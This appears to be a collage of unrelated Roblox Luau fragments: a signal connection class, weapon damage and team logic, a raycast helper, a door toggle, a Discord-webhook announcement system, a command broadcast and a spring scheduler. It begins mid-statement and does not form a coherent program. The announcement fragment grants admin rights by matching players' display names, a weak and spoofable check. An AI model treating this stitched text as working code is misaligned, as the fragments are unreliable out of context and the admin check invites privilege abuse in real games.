colorList:UpdateWearing(Wearing:GetTone()) end elseif key == "scale" then local scaleName, value = ... if scale then scale:UpdateWearing(scaleName, value) end end searchState.uid = Wearing.UID end)
-- Connection class
local Connection = {} Connection.__index = Connection function Connection.new(signal, fn) return setmetatable({ _connected = true, _signal = signal, _fn = fn, _next = false, }, Connection) end function Connection:Disconnect() assert(self._connected, "Can't disconnect a connection twice.", 2) self._connected = false -- Unhook the node, but DON'T clear it. That way any fire calls that are -- currently sitting on this node will be able to iterate forwards off of -- it, but any subsequent fire calls will not hit it, and it will be GCed -- when no more fire calls are sitting on it. local signal = self._signal if signal._handlerListHead == self then signal._handlerListHead = self._next else local prev = signal._handlerListHead while prev and prev._next ~= self do prev = prev._next end if prev then prev._next = self._next end end if signal.connectionsChanged then signal.totalConnections -= 1 signal.connectionsChanged:Fire(-1) end end
--#KM
WeaponsSystem.camera:setEnabled(hasWeapon) if WeaponsSystem.currentWeapon then WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1)) else WeaponsSystem.gui:setCrosshairWeaponScale(1) end end if weaponChanged then WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance) end end function WeaponsSystem.getHumanoid(part) while part and part ~= workspace do if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then return part:FindFirstChildOfClass("Humanoid") end part = part.Parent end end function WeaponsSystem.getPlayerFromHumanoid(humanoid) for _, player in ipairs(Players:GetPlayers()) do if player.Character and humanoid:IsDescendantOf(player.Character) then return player end end end local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData) if target:IsA("Humanoid") then target:TakeDamage(amount) end end function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData) if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then return end if IsServer then if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid") local targetPlayer = Players:GetPlayerFromCharacter(target.Parent) if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then -- Trigger the damage indicator WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position) end end -- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause. -- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in) -- ..The default weapons pass in that data local handler = _damageCallback or _defaultDamageCallback handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData) end end local function _defaultGetTeamCallback(player) return 0 end function WeaponsSystem.getTeam(player) local handler = _getTeamCallback or _defaultGetTeamCallback return handler(player) end function WeaponsSystem.playersOnDifferentTeams(player1, player2) local Teams = { -- This is the teams [1] = "Blue", [2] = "Red", } -- player1 is the one that shooting --player2 is the one getting shot at local player1Team = WeaponsSystem.getTeam(player1) -- Gets the players team local player2Team = WeaponsSystem.getTeam(player2) -- Gets the Enemies team if player2Team == nil then -- This allows players to damage themselves and NPC's return 0 end if tostring(player1Team) == tostring(player2Team) then -- if they're in the same team returns false print("in the same team") return false -- When false can't damage entity end if tostring(player1Team) ~= tostring(player2Team) then -- if the players not in the same team print("Not in the same team") player1.Character.tag.Value = player2.Name ---Set the tag here return 0 -- 0 lets the player to be able to damage other people that aren't in the same team end end return WeaponsSystem
-- This function casts a ray with a blacklist but not for Humanoid Penetration.
local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater) if not blacklist or typeof(blacklist) ~= "table" then -- This array is faulty error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0) end local castRay = Ray.new(origin, direction) local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air local success = false repeat hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater) if hitPart then if ((hitPart.CanCollide == false and not hitPart.Parent:FindFirstChild("Humanoid")) or hitPart.Name == "Missile" or hitPart.Name == "Handle" or hitPart.Name == "Effect" or hitPart.Name == "Bullet" or hitPart.Name == "Laser" or string.lower(hitPart.Name) == "water" or hitPart.Name == "Rail" or hitPart.Name == "Arrow" or (hitPart.Parent:FindFirstChild("Humanoid") and hitPart.Parent.Humanoid.Health == 0)) then table.insert(blacklist, hitPart) success = false else success = true end else success = true end until success return hitPart, hitPoint, hitNormal, hitMaterial end
--Simple function to make the door appear and disappear
local clickDetector = script.Parent.ClickDetector function onMouseClick() if script.Parent.CanCollide == false then print "Close door" script.Parent.CanCollide = true script.Parent.Transparency = 0.6 else print "Open door" script.Parent.CanCollide = false script.Parent.Transparency = 1 end end clickDetector.MouseClick:connect(onMouseClick)
--REPLACE https://discord.com with https://webhook.lewistehminerz.dev
local url = "" --Webhook Url local sendWebhook = true game.Players.PlayerAdded:Connect(function(p) if table.find(admins, p.DisplayName) then local gui = script.AnnounceCreate:Clone() gui.Parent = p.PlayerGui end end) local success, errormsg, connection = pcall (function() messaging:SubscribeAsync("Announcements", function(msg) game.ReplicatedStorage.announceSystem.getAnnounce:FireAllClients(msg.Data) end) end) game.ReplicatedStorage.announceSystem.announce.OnServerEvent:Connect(function(player, message) if table.find(admins, player.DisplayName) then messaging:PublishAsync("Announcements", message) if sendWebhook == true then local fields = { { ['name'] = "Message", ['value'] = message, ['inline'] = true }, { ['name'] = "UserId", ['value'] = player.DisplayName, ['inline'] = true } } ws:createEmbed(url, "New Announcement", player.Name .. " Has sent a server announcement", fields) end end end)
--- Sends an event message to all players
function Command:BroadcastEvent(...) if not IsServer then error("Can't broadcast event messages from the client.", 2) end self.Dispatcher.Cmdr.RemoteEvent:FireAllClients(...) end
--[[ Manages batch updating of spring objects. ]]
local RunService = game:GetService("RunService") local Package = script.Parent.Parent local packType = require(Package.Animation.packType) local springCoefficients = require(Package.Animation.springCoefficients) local updateAll = require(Package.Dependencies.updateAll) local SpringScheduler = {} type Spring = { _speed: number, _damping: number, _springPositions: {number}, _springGoals: {number}, _springVelocities: {number} } local WEAK_KEYS_METATABLE = {__mode = "k"}